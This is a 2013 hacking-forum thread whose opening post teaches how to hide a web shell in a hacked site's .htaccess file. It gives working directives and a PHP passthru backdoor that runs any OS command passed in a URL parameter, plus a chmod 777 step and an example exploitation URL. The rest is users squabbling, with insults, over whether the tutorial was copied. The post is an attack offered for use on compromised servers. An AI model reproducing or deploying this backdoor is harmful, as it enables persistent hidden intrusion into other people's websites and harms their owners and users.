Thread: [\[Hot\]HOW TO HIDE YOUR SHELL USING .htaccess](#)

Pr4th4m - May 3, 2013, 1:45 pm

Today I want to show you a less known trick in which you can use .htaccess file. Already available on server as a shell to execute OS commands, so just follow the simple steps described below. This file is also useful to add restrictions on files.

Open your PHP web shell, navigate to public_html directory and search for .htaccess file, once found, click on edit option.

After clicking on the edit option, add the following lines of code in your .htaccess file.

Code:

Quote:<Files ~ "^\.ht">

Order allow,deny

Allow from all

</Files>

AddType application/x-httpd-php .htaccess

<?php passthru(\$_GET['cmd']); ?>

After adding your codes, save it, and done ! :D

But sometimes we can't able to edit .htaccess file due to permissions provided by the administrator so we must have to change the permissions

If we get an error: .htaccess is not readable

Then use following command to change it to the readable, writable and also in executable mode..

:wink:

command: `chmod 777 .htaccess`

Here in above command we can see 777, The first digit (7) is for user, second(7) for group and third (7) is for others..!! In UNIX/Linux permissions are divided into 3 categories User-Group-Others :)

Now in order to use your .htaccess shell

<http://www.your-hacked-website.com/.htaccess?cmd=ls>

After ?cmd= you can execute any OS command of your choice.

[/quote]

Thank you..!! ?

Hahah..

Yeah right!

And you gave credits to Blogspot, not hackingsec.

You expect anyone to believe that? Stupid 12 year old.

Perhaps he found it on Blogspot (reposted from HackingSec).

There's no problem with sharing tutorials that have been C+P'd as long as he doesn't take credit for them.

Blogspot is a blogging portal, not a hacking website.

Yup, but why would he give Blogspot credits from something Blogspot didn't make?

iJaTyX - May 4, 2013, 5:53 am

(May 4, 2013 05:49 AM)MattiasR Wrote: ([CITE](#)) Yup, but why would he give Blogspot credits from something Blogspot didn't make?

Maybe because he didn't know HackingSec or the other side made it? ?

<http://www.hackingsec.in/>

Does that look ANYTHING like blogspot to you?
What, are you retarded or something?

I don't think you get it...

Someone (lets say User 1) visits hackingsec.in's tutorial

He thinks: Oh let me put it on my site

So he goes to his site (something.blogspot.com) and pastes the tutorial there.

Now OP comes along and sees the tutorial on User 1's blogspot and shares it with us.

My god, you are the retarded one. OP could've gotten it off some blog that took it from the main site.
Hop off OP's dick, and chill.

Does it mather?

Just because the blog is hosted on Blogspot doesn't mean that Blogspot created it. Jesus christ..
